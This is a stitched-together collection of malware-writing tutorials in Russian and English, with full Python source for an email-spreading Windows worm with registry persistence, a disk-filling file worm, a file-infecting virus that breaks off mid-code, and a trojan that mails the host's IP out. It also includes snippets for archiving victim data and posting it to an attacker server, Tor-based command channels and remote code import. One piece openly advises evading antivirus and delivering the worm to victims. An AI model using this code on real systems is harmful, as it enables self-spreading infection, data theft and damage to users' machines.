Приветствую!
Пытался придумать вводную — не получилось… Да и оно вам надо? Так что, давайте вкратце: в этой статье мы разберем такой тип вирусов, как «сетевой червь» и даже напишем одного такого.
Итак, что же такое, эти ваши сетевые черви?
Если поискать на википедии, то можно найти следующее определение: «Сетевой червь — разновидность
Ссылка скрыта от гостей
, самостоятельно распространяющейся через локальные и глобальные (
Ссылка скрыта от гостей
) компьютерные сети.» и, в принципе, все верно, сетевой червь — это действительно вредоносная программа, способная воспроизводить себя на устройствах, распространяющаяся по сетевым каналам и часто, способная к самостоятельному преодолению систем защиты компьютерных сетей. При этом пользователь не подозревает о заражении своего компьютера.
Распространятся по сети черви могут, отправляя свои копии по электронной почте, или заражая устройства, используя критические уязвимости систем (например, такие, как, знаменитая, закрытая уже Eternal Blue). Сетевые черви могут размножаться по каналам файлообменных пиринговых (p2p) сетей (например, Kazaa, Grokster, eDonkey, FastTrack, Gnutella и др.), в системах мгновенного обмена сообщениями (таких как Facebook Messenger, Skype или WhatsApp) и даже, через наше любимую, «безопасную» IRC.
Принцип работы сетевого червя довольно прост — вредоносная программа попадает на устройство, закрепляется там, выполняет вредоносные действия, если есть такая задача и распространяется дальше.
Ну что ж, предлагаю создать одного такого представителя, данного семейства вирусов.
!ВАЖНО! Прошу обратить внимание, что т.к. материал в статье представлен исключительно в образовательных целях, созданный нами червь не будет выполнять никаких вредоносных действий, не будет прятаться на зараженном устройстве и маскировать себя при распространении и самовоспроизведении (например выдавая себя за документ). И вообще, создание вредоносных программ — плохо и можно за это понести ответственность, согласно
Ссылка скрыта от гостей
, или другой страны, в которой вы проживаете.
Для начала, давайте уточним язык программирования, на котором будем творить. Я, естественно буду использовать python3 (не зря же я в этой ветке тему создал, да?), т.к.
я криворукий рукожоп и не могу нормально использовать другой яп
он простой и наглядный, но если есть понимание, что программа делает, то и написать её на другом ЯПе не составит труда.
Теперь определимся, какие задачи будет выполнять наша программа, после заражения устройства (червь будет создан под устройства с ОС windows):
1. Создать свою копию на зараженном устройстве.
2. Записать себя в автозагрузку, через реестр.
3. Триггернуть canarytoken (чтоб нам на почту капнуло уведомление, о том, что червь засел на очередном устройстве)
4. Обратиться к серверу и получить от него какие-либо данные (инструкции). * В нашем случае червь будет получать список email-адресов для дальнейшей рассылки по ним своих копий
5. Выполнить какие-либо действия на зараженном устройстве.
6. Начать самораспространение, путем отправки своих копий, на ранее полученные email-адреса.
С задачами определились, можно и начинать кодить.
Для начала давайте импортируем нужные нам модули:
Python:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os, sys
import shutil
import requests
from winreg import OpenKey, SetValueEx, CloseKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.application import MIMEApplication
Думаю, os, sys, requests — всем знакомы, на них останавливаться не будем. Модуль winreg предоставляет доступ к реестру Windows, smtplib и email — используются для создания электронной рассылки.
Если у вас отсутствует какой-либо модуль, его нужно установить используя команду:
pip install ‘название модуля’
или
pip3 install ‘название модуля’
Теперь решим первую задачу — самовоспроизведение. Заставим нашего червяка размножится вегетативно, так сказать:
Python:
def main():
# Создаем клона
dir = os.getenv("APPDATA") + r'/worm/' # Вместо worm можно подставить любое название программы
path = dir + os.path.basename(__file__) # тут будет копия программы, она же будет запускаться в дальнейшем
if not os.path.exists(dir):
# если директории не существует - создать и скопировать туда нашего червя
os.makedirs(dir) # создание директории в appdata
shutil.copy(__file__, path) # копирование программы
С этой частью — все должно быть ясно и проблем возникнуть не должно. Просто проверяем, есть ли уже наш червь на устройстве, если нет — то копируем его. Тут наш червь не прячется и копирует себя в том виде, в котором есть, со вполне очевидным названием.
Переходим ко второй задаче — прописываем червя в автозапуск, через реестр:
Python:
# прописываем в автозапуск, через реестр
reestr_path = OpenKey(HKEY_CURRENT_USER, r'SOFTWAREMicrosoftWindowsCurrentVersionRun', 0, KEY_ALL_ACCESS)
SetValueEx(reestr_path, 'worm', 0, REG_SZ, path)
CloseKey(reestr_path)
Готово, тут тоже все элементарно — определяем путь в реестре до автозапуска и создаем новую запись. Прошу отметить, что червяк не будет маскироваться под какую-нибудь системную утилиту, а имеет честное название «worm».
Теперь перейдем к пунктам 3 и 4 — тригернем канарейку и получим инструкции с сервера. Про то, как создать свой cannarytoken в интернете есть много информации, да и сам процесс создания не особо сложный, так что заострять внимание на этом не буду, если у кого-то возникнут вопросы — расскажу в следующий раз, что это, с чем это едят и как такое сделать.
Python:
# Тригирим канарейку
requests.get('http://canarytokens.com/feedback/01oohhr7cpup3uf0x44m0vol2/index.html')
# получчаем инструкции с сервера (в случае этой программы - получаем список почт, для рассылки)
instructions = requests.get('http://192.168.3.111/instruction.txt', stream=True) # получения файла с данными с сервера
with open('instruction.txt', 'wb') as f:
shutil.copyfileobj(instructions.raw, f) # на всякий случай сохраняем инструкции
Обратите внимание, что, т.к. я не собираюсь заражать устройства в сторонних сетях, то мой сервер находится в той же сети, что и зараженное устройство. поднят он простейшим способом, при помощи питона и команды:
sudo python -m SimpleHTTPServer 80
В каталоге, который используется, как корневая директория сервера лежит заготовленный файл с инструкциями «instruction.txt», который и стягивает наш червь.
Так же, вместо своего сервера, можно использовать другие средства, например — гит-репозиторий, с которого червь будит тянуть то, что нам нужно.
Ну что ж, больше половины червяка готово, теперь перейдем к пункту 5 и напишем отдельную функцию, для выполнения зловредных и не очень действий:
Python:
def Execute():
"""Функция для выполненя зловредных действий"""
with open('README.txt', 'w', encoding='utf-8') as f:
f.write('Belligerent worm in action')
У нас, как понятно по коду, никаких вредоносных действий выполняться не будет, просто создастся файл «README.txt», но отдельная функция нужна, для наглядности, т.к. на самом деле в неё можно запихать целую кучу различных действий.
И вот мы наконец добрались до последнего 6 пункта — самораспространения. Напишем функцию, которая будет рассылать копии нашего червя на email-адреса, указанные в присланном ранее файле, с сервера:
Python:
def SendMail(path):
"""Создание письма, с вложением в него программы и отправка на мыла пользователей, в списке из инструкции"""
# подготовка данных писма
with open('instruction.txt', 'r') as f:
for mail in f:
# читаем файл с email-адресами, для рассылки построчно
if mail != None:
FROM = "forwormpost@gmail.com" # почта с которой будет вестись отправка
TO = mail
msg = MIMEMultipart()
msg['From'] = FROM
msg['To'] = TO
msg['Subject'] = 'worm' # тема письма
# вложение файла
with open(path, 'rb') as f:
part = MIMEApplication(f.read(), Name=os.path.basename(path))
part['Content-Discription'] = 'attachment; filename="%s"' % os.path.basename(path)
msg.attach(part)
# Отправка письма
smtpOBJ = smtplib.SMTP("smtp.gmail.com", 587)
smtpOBJ.starttls()
smtpOBJ.login(FROM, 'паорль от своей почты')
smtpOBJ.sendmail(FROM, TO, msg.as_string())
smtpOBJ.quit()
В качестве почты, с которой червь будет производить рассылку, используется почта gmail. Сразу надо отметить, что в настройках аккаунта gogle надо открыть доступ к почте из ненадежных источников, иначе защита gmail не даст нам залогиниться и отправлять сообщения.
Вот и все, ребята, как говорится. Склеим нашего монстра Франкенштейна и проверим его работоспособность…
Код червя целиком:
Python:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os, sys
import shutil
import requests
from winreg import OpenKey, SetValueEx, CloseKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.application import MIMEApplication
def main():
# Создаем клона
dir = os.getenv("APPDATA") + r'/worm/' # Вместо worm можно подставить любое название программы
path = dir + os.path.basename(__file__) #тут будет копия программы, она же будет запускаться в дальнейшем
if not os.path.exists(dir):
os.makedirs(dir)
shutil.copy(__file__, path)
# прописываем в автозапуск, через реестр
reestr_path = OpenKey(HKEY_CURRENT_USER, r'SOFTWAREMicrosoftWindowsCurrentVersionRun', 0, KEY_ALL_ACCESS)
SetValueEx(reestr_path, 'worm', 0, REG_SZ, path)
CloseKey(reestr_path)
# Тригирим канарейку
requests.get('http://canarytokens.com/feedback/01oohhr7cpup3uf0x44m0vol2/index.html')
# получчаем инструкции с сервера (в случае этой программы - получаем список почт, для рассылки)
instructions = requests.get('http://192.168.3.111/instruction.txt', stream=True) # получения файла с данными с сервера
with open('instruction.txt', 'wb') as f:
shutil.copyfileobj(instructions.raw, f) # на всякий случай сохраняем инструкции
Execute() # выполняем зловредные действия
SendMail(path) # начинаем процесс самовоспроизведения и распространения
def Execute():
"""Функция для выполненя зловредных действий"""
with open('README.txt', 'w', encoding='utf-8') as f:
f.write('Belligerent worm in action')
def SendMail(path):
"""Создание письма, с вложением в него программы и отправка на мыла пользователей, в списке из инструкции"""
# подготовка данных писма
with open('instruction.txt', 'r') as f:
for mail in f:
if mail != None:
FROM = "forwormpost@gmail.com"
TO = mail
msg = MIMEMultipart()
msg['From'] = FROM
msg['To'] = TO
msg['Subject'] = 'worm'
# вложение файла
with open(path, 'rb') as f:
part = MIMEApplication(f.read(), Name=os.path.basename(path))
part['Content-Discription'] = 'attachment; filename="%s"' % os.path.basename(path)
msg.attach(part)
# Отправка письма
smtpOBJ = smtplib.SMTP("smtp.gmail.com", 587)
smtpOBJ.starttls()
smtpOBJ.login(FROM, 'пароль от почты')
smtpOBJ.sendmail(FROM, TO, msg.as_string())
smtpOBJ.quit()
if __name__ == "__main__":
main()
Запускаем и проверяем:
Червь отработал, посмотрим, что же произошло:
В папке «AppData/Roaming» появился каталог «worm» с копией нашего червя.
До:
После:
Появилась запись в реестре. Теперь при каждом запуске устройства, червь будет пытаться размножиться и выполнить то, для чего предназначался.
До:
После:
Подключение к серверу прошло успешно, в каталоге, из которого производился запуск червя появился файл с инструкциями (стянутый с сервера) и README.txt (свидетельствующий об успешном выполнении функции Execute()):
Пришло сообщение о триггере канарейки
В «отправленных» появилось отправленное червем письмо:
В почтовом ящике эфемерной «жертвы» появилось письмо с вложенным червем:
Вложение скачивается без особых проблем и при запуске пользователем, червь будет активно выполнять заложенные в него функции, тем самым распространяясь все больше и больше.
P.S. Реальный такой червь, вместо получения списка email’ов с сервера мог бы вытягивать с устройства жертвы пароль от почты (если он сохранен, а многие такие вещи сохраняют в каких-нибудь, встроенных в браузер, парольных менеджерах), брать несколько последних адресов с которыми «жертва» вела переписку и отправлять свои копии им, притворяясь при этом каким-нибудь важным документом, кончено.
Ну и на последок, можно скомпилировать нашего червя в .exe файл при помощи pyinstaller и команды:
pyinstaller --onefile --icon='иконка приложения.ico' 'название программы'
На этом — статья заканчивается, спасибо всем, кто нашел в себе силы дочитать до конца. Надеюсь, что такой вид вирусов, как «сетевые черви» были тут понятно разобраны и хоть кто-то нашел для себя что-то новое, или просто интереное.
4 minute read
Worm
is type of malware that replicates itself and other files to consume spaces in our hard drives. You may find your drives or partitions get full without any visible reason and that might happen because of a worm
.
A Worm is different than a computer Virus in a way that typical viruses only infects files and worms replicates files and keep the duplicates out of sight (as hidden files).
In this post, we will learn what are the characteristics of a Worm by writing a basic one in python. If you are interested to write other types of malwares, you can look into my previous posts:
- Write a Simple Virus in Python
- A Basic Keylogger in Python
- Write a Backdoor in Python
Requirements
We will need two modules to write a worm
. Here, os
is the most important module and we will utilize it to list all files and directories alongside retrieving the absolute paths.
shutil
is used to copy file contents. There are obviously other ways to do it, however, I chose to do it using shutil.copyfile()
method.
Worm
Class
First, let’s create a Worm
class and a initializer method to pass initial arguments to our created class.
class Worm:
def __init__(self, path=None, target_dir_list=None, iteration=None):
if isinstance(path, type(None)):
self.path = "/"
else:
self.path = path
if isinstance(target_dir_list, type(None)):
self.target_dir_list = []
else:
self.target_dir_list = target_dir_list
if isinstance(target_dir_list, type(None)):
self.iteration = 2
else:
self.iteration = iteration
# get own absolute path
self.own_path = os.path.realpath(__file__)
Here, we have three arguments:
- path: defines where to start looking for directories (default is set to the
root
directory/
) - target_dir_list: user can pass a list of initial target directories. By default it is an empty list
[]
- iteration: I used this parameter to define how many instances the worm will create for each existing file in a directory (default value is
2
only for testing purpose, you can increase or decrease the number, or better provide valur while creating an object of the class)
Method to list all Directories and Subdirectories
The first method we need is to list all the target directories and subdirectories where we want to copy our worm and existing files in the directories.
Here, I am avoiding hidden files as it includes the parent directories as well (hidden files starts with dot .
in Linux or macOS). Other than that it adds a file (directories are also called as file
in Unix-based file systems) if it is a directory and recursively does so for all of the subdirectories.
def list_directories(self,path):
self.target_dir_list.append(path)
files_in_current_directory = os.listdir(path)
for file in files_in_current_directory:
# avoid hidden files/directories (start with dot (.))
if not file.startswith('.'):
# get the full path
absolute_path = os.path.join(path, file)
print(absolute_path)
if os.path.isdir(absolute_path):
self.list_directories(absolute_path)
else:
pass
Method to Replicate the Worm
To replicate the script itself in all the target directories, we get the absolute path of the script we are running, and than copy the contents in the destination directories creating a new hidden file (starts with a dot .
) with the same name.
def create_new_worm(self):
for directory in self.target_dir_list:
destination = os.path.join(directory, ".worm.py")
# copy the script in the new directory with similar name
shutil.copyfile(self.own_path, destination)
Method to copy existing Files
The following method will be used to duplicate files the number of times the value we have from the iteration
argument. You can put a large number so that the hard drive will be full soon.
def copy_existing_files(self):
for directory in self.target_dir_list:
file_list_in_dir = os.listdir(directory)
for file in file_list_in_dir:
abs_path = os.path.join(directory, file)
if not abs_path.startswith('.') and not os.path.isdir(abs_path):
source = abs_path
for i in range(self.iteration):
destination = os.path.join(directory,("."+file+str(i)))
shutil.copyfile(source, destination)
Method to integrate everything
In this method, we will call all of our previous methods. So, when we call this method using our created object, the worm will start all the actions sequentially. If you want a timer or datetime, you can add that functionality. Just check the post: Write a Simple Virus in Python. I have added functionality in that post.
def start_worm_actions(self):
self.list_directories(self.path)
print(self.target_dir_list)
self.create_new_worm()
self.copy_existing_files()
Main Function
Now, let’s create our main function and run the code
if __name__=="__main__":
current_directory = os.path.abspath("")
worm = Worm(path=current_directory)
worm.start_worm_actions()
The whole code is available in Github
Here, to avoid getting our own drive filled up, let’s use the existing directory only using os.path.abspath("")
, and pass that as argument while creating an object of the Worm
class. Finally we call the integrating method and we are good to go!
You can look at other security concept tutorials in python. I have created a repository for that. I am planning to provide security concepts by writing python codes. Please feel free to put a star if you like the repository.
Intro to Cybersecurity in Python
Also, the associated blog post links are available in the ReadMe
file over there.
Have a good day! Cheers!!!
Пишем червь на Python
Hacker LifeВведение
Наверно многие из читающих уже имели дело с таким термином как «сетевой червь«. Данный тип вирусов давно устарел, а самым первым разработчиком такого файла стал Роберт Тэппэн Моррис. В данной статье пойдет речь о написании такого рода вируса на языке Python. Давайте начнем!
Основы и инструменты
Прежде всего вспомним термин и расшифровку нашего вируса:
Сетевой червь — разновидность вредоносной программы, самостоятельно распространяющейся через локальные и глобальные (Интернет) компьютерные сети. Источник: Википедия
Теперь установим необходимые нам компоненты для работы, а это среда разработки, язык и зависимости.
- Скачиваем Python [Download]
- Установим IDE [Download]
Далее ставим зависимости для успешной работы (в консольном окне):
pip install pyinstaller pip install shutil pip install winreg pip install requests
[*] В случае ошибки при работе установите пакеты в самой IDE нажав на значок ошибки.
Создание червя
Для начало импортируем библиотеки:
import shutil import os from winreg import OpenKey, SetValueEx, CloseKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ import requests
Копируем наш файл в папку AppData:
directory = os.getenv("APPDATA") + r'/ваша_программа/' base_file = directory + os.path.basename(__file__) if not os.path.exists(directory): os.makedirs(directory) shutil.copy(__file__, base_file)
Дальше нам требуется, чтобы наш файл запускался при каждой активации системы. Для этого используем реестр и прописываем его туда:
path_to_reestr = OpenKey(HKEY_CURRENT_USER, r'SOFTWAREMicrosoftWindowsCurrentVersionRun', 0, KEY_ALL_ACCESS) SetValueEx(path_to_reestr, 'Имя файла', 0, REG_SZ, base_file) CloseKey(path_to_reestr)
Для отправки всех данных нам потребуется упаковать это в наш архив командой:
shutil.make_archive(r'Название архива', 'zip', r'Папка')
И в завершающий момент отправляем все данные к нам на сервер:
files = {'Название архива': open('Название архива', 'rb')} r = requests.post('Ваш сервер', files=files)
Теперь дело за малым, компиляция программы в exe вид.
Воспользуемся pyinstaller перед этим переместив наш файл на локальный диск C. Вводим команду (вы должны быть в папке с файлом):
pyinstaller -i путь до иконки --onefile имя файла.py
После этого у нас будет готовый вирус для работы. Остается доставить его жертве.
Завершение
В данной статье я попытался максимально понятно рассказать о создании вируса на Python. Единственное данный файл не рекомендуется сливать антивирусам и рекомендуется использовать дополнительную защиту от обнаружения. В остальном приятной работы!
NetWorm
Python network worm that spreads on the local network and gives the attacker control of these machines.
This code is not finished and works more like a «worm template» for you to get inspiration at the moment.
You can bruteforce ssh servers, spread with USBs, etc..
Screenshots
Bruteforcing local machines with port 22 open.
Downloading necessary libraries
pip install -r requirements.txt
Executing
Windows & Linux:
Compilation (.exe)
Targeted machines won´t probably have python and the required libraries installed.
To run this code on other machines, you need to convert it into an executable.
I recommend the Pyinstaller library.
To use it, simply write these commands in your terminal:
pip install pyinstaller
pyinstaller worm.py
Meta
https://github.com/pylyf/NetWorm
Distributed under the MIT license.
Contributing
- Fork it (https://github.com/pylyf/NetWorm/fork)
- Create your feature branch (
git checkout -b feature/fooBar
) - Commit your changes (
git commit -am 'Add some fooBar'
) - Push to the branch (
git push origin feature/fooBar
) - Create a new Pull Request
Legal Advice
This repository and every script included in it is for educational and testing purposes only.
The owner nor any contributor is not responsible for your actions.
В мире существует много явлений с сомнительной и спорной репутацией. Например, сюда можно отнести хоккей на траве, датскую квашеную селедку и мужские трусы-стринги. А еще к этому списку можно с абсолютной уверенностью добавить вирусы на Python.
Трудно сказать, что толкает людей на создание вредоносного ПО на этом языке программирования. Обилие выпускников “шестимесячных курсов Django-программистов” с пробелами в базовых технических познаниях? Желание нагадить ближнему без необходимости учить C/C++? Или благородное желание разобраться в технологиях виримейкерства путем создания небольших прототипов вирусов на удобном языке?
Если отбросить часть иронии…
… и вникнуть в ситуацию, то становится видно, что адекватные питонячие зловреды не только существуют, но и успешно заражают компьютеры. Их мало, они относительно легко вычисляются антивирусами (полиморфный код в питонячих вирусах невозможен, об этом поговорим чуть ниже), но и общая компьютерная грамотность среднего пользователя невысока, что дает этим вирусам шанс на выживание и успешное заражение.
Есть продвинутый бэкдор Seaduke, родившийся где-то на территории России и принадлежащий к семейству Duke. По этому семейству вирусов есть подробный доклад. Исходные тексты Seaduke удалось восстановить, текст доступен для прочтения на github.
Есть PWOBot, на протяжении нескольких лет успешно заражавший компы в Восточной Европе (преимущественно в Польше). Есть PoetRAT, заразивший в начале этого года государственные компьютеры в Азербайджане. PoetRAT — вполне зрелый образец вредоносного кода, способный воровать учетки, делать снимки с камеры и логировать нажатия клавиш. Есть еще несколько десятков примеров вирусов на Python, которые успешно расселились по интернету в достаточном количестве, чтобы попасться в поле зрения кибербезопасников.
Как нам теперь становится ясно, тема питонячих вирусов — совсем не такая дохлая, как кажется на первый взгляд. Давайте вместе посмотрим на то, как и с какими библиотеками пишутся зловреды на Python.
Упаковка в бинарники
Поскольку Python — язык интерпретируемый, это создает некоторые трудности при дистрибуции зловредов: нужно, чтобы в ОС был интерпретатор нужной версии, а все необходимые библиотеки были установлены в правильные места на диске. Все это сильно мешает типу программ, который должен сам себя устанавливать и запускать. Поэтому питонячие вирусы, направленные на заражение клиентских машин (а ведь можно еще и заражать серверы) принято упаковывать в бинарный исполняемый файл, который содержит в себе либо интерпретатор с библиотеками в архиве, либо двоичную программу, собранную на основе Python кода.
- https://www.py2exe.org/ — старый классический способ упаковки питонячих программ в бинарники. Он создает архив, в котором лежит интерпретатор, ваш код + все необходимые зависимости.
- https://nuitka.net/ — более хитрый способ сборки бинарников. Этот инструмент транслирует Python код в С и потом компилирует его.
Антивирусы умеют распознавать шаблоны и типичные структуры вирусов, так они вычисляют зловредные программы по их типичным последовательностям байтов. Чтобы скрыться от антивируса, виримейкеры делаю свой код самомодифицируемым — при каждой новой установке зловред переписывает свой код и порождает все новые и новые варианты двоичного файла, которые уже не опознаются антивирусами. Такой подход называется полиморфным кодированием и его невозможно применять в случае, если вы работаете с Python кодом, транслируемым в бинарник. Лишенные основного инструменты противостояния антивирусам, питонячие зловреды весьма уязвимы даже перед самыми простыми антивирусными программами.
Но на многих компах сегодня нет ативирусов, поэтому вирусы на Python способы выживать и активно размножаться.
А шо вирусу делать?
Зловредам надо как-то общаться со своими владельцами, получать от них команды и обновления, передавать им добытые данные. Без обратной связи вирусы могут только мелко хулиганить.
Для общения нужен какой-то удаленный адрес, с которым осуществляется обмен информацией. Регать домен и покупать сервер — палевно: владельца вируса можно легко вычислить. Конечно, есть всякие анонимные хостинги и регистраторы доменов сомнительной честности, но и с ними риски не минимальны.
Более безопасный вариант — мессенджеры (IRC, Jabber) и, конечно же, Tor.
Для обмена данными с хозяевами вирусы используют библиотеку torpy. В ней все предельно просто — заводишь список адресов (на всякий случай, вдруг один из хостов отвалится), коннектишься к доступным и получаешь апдейты к вирусу или команды.
from torpy import TorClient
hostname = 'ifconfig.me' # It's possible use onion hostname here as well
tor = TorClient()
# Choose random guard node and create 3-hops circuit
with tor.create_circuit(3) as circuit:
# Create tor stream to host
with circuit.create_stream((hostname, 80)) as stream:
# Now we can communicate with host
stream.send(b'GET / HTTP/1.0rnHost: %srnrn' % hostname.encode())
recv = stream.recv(1024)
Работа с tor c этой либой проста, не сложнее requests.
А шо бы своровать?
Воровство персональных данных — важная часть жизни любого вируса. Вопрос поиска и парсинга различных файлов с паролями перед программистами не стоит — это легко делается штатными средствами Python. Перехват нажатий клавиш в ОС — сложнее, но это можно нагуглить. Для работы с вебкой — OpenCV. Единственное, что вызывает вопросы — как делать скриншоты из Python?
На выручку приходит pyscreenshot. Предвосхищая ваши вопросы, скажу, что магии внутри библиотеки нет — она не умеет из Питона читать буфер экрана. В основе этого пакета лежит коллекция костылей и подпорок, которые определяют тип ОС, в которой работает ваша программа и дальше идет поиск внутри операционки доступных инструментов для снятия скриншотов.
# pyscreenshot/examples/grabfullscreen.py
"Grab the whole screen"
import pyscreenshot as ImageGrab
# grab fullscreen
im = ImageGrab.grab()
# save image file
im.save("fullscreen.png")
Звучит это все очень ненадежно, но библиотека адекватно справляется со снятием изображений с экрана на всех популярных платформах.
Серверная токсичность
Бэкдоры на Python для серверов тоже встречаются в природе. Они тоже способны гадить в вашей системе, но механизмы работы у них уже другие.
Например, питонячему серверному вирусу не обязательно упаковываться в бинарник — интерпретатор Python есть на многих серваках: можно запускаться на нем. Поэтому авторы зловредов для серверного применения вместо упаковки кода используют обфускацию — запутывание исходников так, чтобы их невозможно было прочитать.
Один из самых популярных инструментов для обфускации — pyarmor. Одна команда легко превращает ваш код в нечитаемую хрень и усложняет понимание текста программы. Тема обфускации кода вообще сама по себе очень интересна, для углубления познаний по этой теме рекомендую ознакомиться с книгой. Pyarmor пригодится не только авторам вирусов, но и тем, кто хочеть по каким-то причинам защитить исходники от легкого прочтения.
Вторая вещь, на которую нужно обратить внимание авторам серверного вредоносного ПО — наличие библиотек.
Конечно, можно весь код засунуть в один файл — но тогда он будет очень большим. Второй вариант — exec()/eval() и чтение кода с удаленного сервера: этот подход явно лучше! Но самый простой в реализации способ — использование готовой библиотеки httpimport для удаленного импорта питонячих пакетов.
>>> with httpimport.remote_repo(['package1','package2','package3'], 'http://my-codes.example.com/python_packages'):
... import package1
...
>>> with httpimport.github_repo('operatorequals', 'covertutils', branch = 'master'):
... import covertutils
... # Also works with 'bitbucket_repo' and 'gitlab_repo'
Трояны
Теория
Так что же такое троян? Вирус — это программа, основная задача которой — копировать самого себя. Червь активно распространяется по сети (типичные примеры — Petya и WannaCry), а троян — это скрытая вредоносная программа, маскирующаяся под «хорошее» ПО.
Логика такого заражения заключается в том, что пользователь сам загружает вредоносное ПО на свой компьютер (например, под видом неработающей программы), сам отключает механизмы защиты (в конце концов, программа выглядит нормально) и хочет оставить его на долгое время. Хакеры здесь тоже не спят, поэтому время от времени появляются новости о новых жертвах пиратского программного обеспечения и программ-вымогателей, нацеленных на любителей халявы. Но мы знаем, что бесплатный сыр можно найти только в мыеловке, и сегодня мы очень легко научимся заполнять этот сыр чем-то неожиданным.
import smtplib as smtp
import socket
from getpass import getpass
from requests import get
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
email = 'demo@spy-soft.net'
password = '***'
dest_email = 'demo@spy-soft.net'
subject = 'IP'
email_text = (f'Host: {hostname}nLocal IP: {local_ip}nPublic IP: {public_ip}')
message = 'From: {}nTo: {}nSubject: {}nn{}'.format(email, dest_email, subject, email_text)
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()
Вот и все
Это далеко не полный список того, что используют авторы зловредов на Python. Описанные выше инструменты и подходы научат вас тому, как мыслят вирусописатели и чем могут быть опасны подозрительные питонячие скрипты.
Внимательно относитесь к малоизвестным зависимостям и пакетам, которые ставите в свои проекты. Не доверяйте обфусцированному коду и всегда просматривайте код малознакомых библиотек перед запуском.
Просмотры: 2 967
14 minute read
I was relaxing on a beach during my summer leave when I received a mail from a reader that asked me if it is technically possible to write a virus using Python.
The short answer: YES.
The longer answer: yes, BUT…
Let’s start by saying that viruses are a little bit anachronistic in 2021… nowadays other kinds of malware (like worms for example) are far more common than viruses. Moreover, modern operative systems are more secure and less prone to be infected than MS-DOS or Windows 95 were (sorry Microsoft…) and people are more aware of the risk of malware in general.
Moreover, to write a computer virus, probably Python is not the best choice at all. It’s an interpreted language and so it needs an interpreter to be executed. Yes, you can embed an interpreter to your virus but your resulting virus will be heavier and a little clunky… let’s be clear, to write a virus probably other languages that can work to a lower level and that can be compiled are probably a better choice and that’s why in the old days it was very common to see viruses written in C or Assembly.
That said, it is still possible to write computer viruses in Python, and in this article, you will have a practical demonstration.
I met my first computer virus in 1988. I was playing an old CGA platform game with my friend Alex, that owned a wonderful Olivetti M24 computer (yes, I’m THAT old…) when the program froze and a little ball started to go around the screen. We had never seen anything like that before and so we didn’t know it back then, but we were facing the Ping-Pong virus one of the most famous and common viruses ever… at least here in Italy.
Now, before start, you know I have to write a little disclaimer.
This article will show you that a computer virus in Python is possible and even easy to be written. However, I am NOT encouraging you to write a computer virus (neither in Python nor in ANY OTHER LANGUAGES), and I want to remember you that HARMING AN IT SYSTEM IS A CRIME!
Now, we can proceed.
According to Wikipedia…
a computer virus is a computer program that, when executed, replicates itself by modifying other computer programs and inserting its own code. If this replication succeeds, the affected areas are then said to be “infected” with a computer virus, a metaphor derived from biological viruses.
That means that our main goal when writing a virus is to create a program that can spread around and replicate infecting other files, usually bringing a “payload”, which is a malicious function that we want to execute on the target system.
Usually, a computer virus does is made by three parts:
- The infection vector: this part is responsible to find a target and propagates to this target
- The trigger: this is the condition that once met execute the payload
- The payload: the malicious function that the virus carries around
Let’s start coding.
try:
# retrieve the virus code from the current infected script
virus_code = get_virus_code()
# look for other files to infect
for file in find_files_to_infect():
infect(file, virus_code)
# call the payload
summon_chaos()
# except:
# pass
finally:
# delete used names from memory
for i in list(globals().keys()):
if(i[0] != '_'):
exec('del {}'.format(i))
del i
Let’s analyze this code.
First of all, we call the get_virus_code()
function, which returns the source code of the virus taken from the current script.
Then, the find_files_to_infect()
function will return the list of files that can be infected and for each file returned, the virus will spread the infection.
After the infection took place, we just call the summon_chaos()
function, that is — as suggested by its name — the payload function with the malware code.
That’s it, quite simple uh?
Obviously, everything has been inserted in a try-except
block, so that to be sure that exceptions on our virus code are trapped and ignored by the pass
statement in the except
block.
The finally
block is the last part of the virus, and its goal is to remove used names from memory so that to be sure to have no impact on how the infected script works.
Okay, now we need to implement the stub functions we have just created!
Let’s start with the first one: the get_virus_code()
function.
To get the current virus code, we will simply read the current script and get what we find between two defined comments.
For example:
def get_content_of_file(file):
data = None
with open(file, "r") as my_file:
data = my_file.readlines()
return data
def get_virus_code():
virus_code_on = False
virus_code = []
code = get_content_of_file(__file__)
for line in code:
if "# begin-virusn" in line:
virus_code_on = True
if virus_code_on:
virus_code.append(line)
if "# end-virusn" in line:
virus_code_on = False
break
return virus_code
Now, let’s implement the find_files_to_infect()
function. Here we will write a simple function that returns all the *.py
files in the current directory. Easy enough to be tested and… safe enough so as not to damage our current system!
import glob
def find_files_to_infect(directory = "."):
return [file for file in glob.glob("*.py")]
This routine could also be a good candidate to be written with a generator. What? You don’t know generators? Let’s have a look at this interesting article then!
And once we have the list of files to be infected, we need the infection function. In our case, we will just write our virus at the beginning of the file we want to infect, like this:
def get_content_if_infectable(file):
data = get_content_of_file(file)
for line in data:
if "# begin-virus" in line:
return None
return data
def infect(file, virus_code):
if (data:=get_content_if_infectable(file)):
with open(file, "w") as infected_file:
infected_file.write("".join(virus_code))
infected_file.writelines(data)
Now, all we need is to add the payload. Since we don’t want to do anything that can harm the system, let’s just create a function that prints out something to the console.
def summon_chaos():
# the virus payload
print("We are sick, fucked up and complicatednWe are chaos, we can't be cured")
Ok, our virus is ready! Let’s see the full source code:
# begin-virus
import glob
def find_files_to_infect(directory = "."):
return [file for file in glob.glob("*.py")]
def get_content_of_file(file):
data = None
with open(file, "r") as my_file:
data = my_file.readlines()
return data
def get_content_if_infectable(file):
data = get_content_of_file(file)
for line in data:
if "# begin-virus" in line:
return None
return data
def infect(file, virus_code):
if (data:=get_content_if_infectable(file)):
with open(file, "w") as infected_file:
infected_file.write("".join(virus_code))
infected_file.writelines(data)
def get_virus_code():
virus_code_on = False
virus_code = []
code = get_content_of_file(__file__)
for line in code:
if "# begin-virusn" in line:
virus_code_on = True
if virus_code_on:
virus_code.append(line)
if "# end-virusn" in line:
virus_code_on = False
break
return virus_code
def summon_chaos():
# the virus payload
print("We are sick, fucked up and complicatednWe are chaos, we can't be cured")
# entry point
try:
# retrieve the virus code from the current infected script
virus_code = get_virus_code()
# look for other files to infect
for file in find_files_to_infect():
infect(file, virus_code)
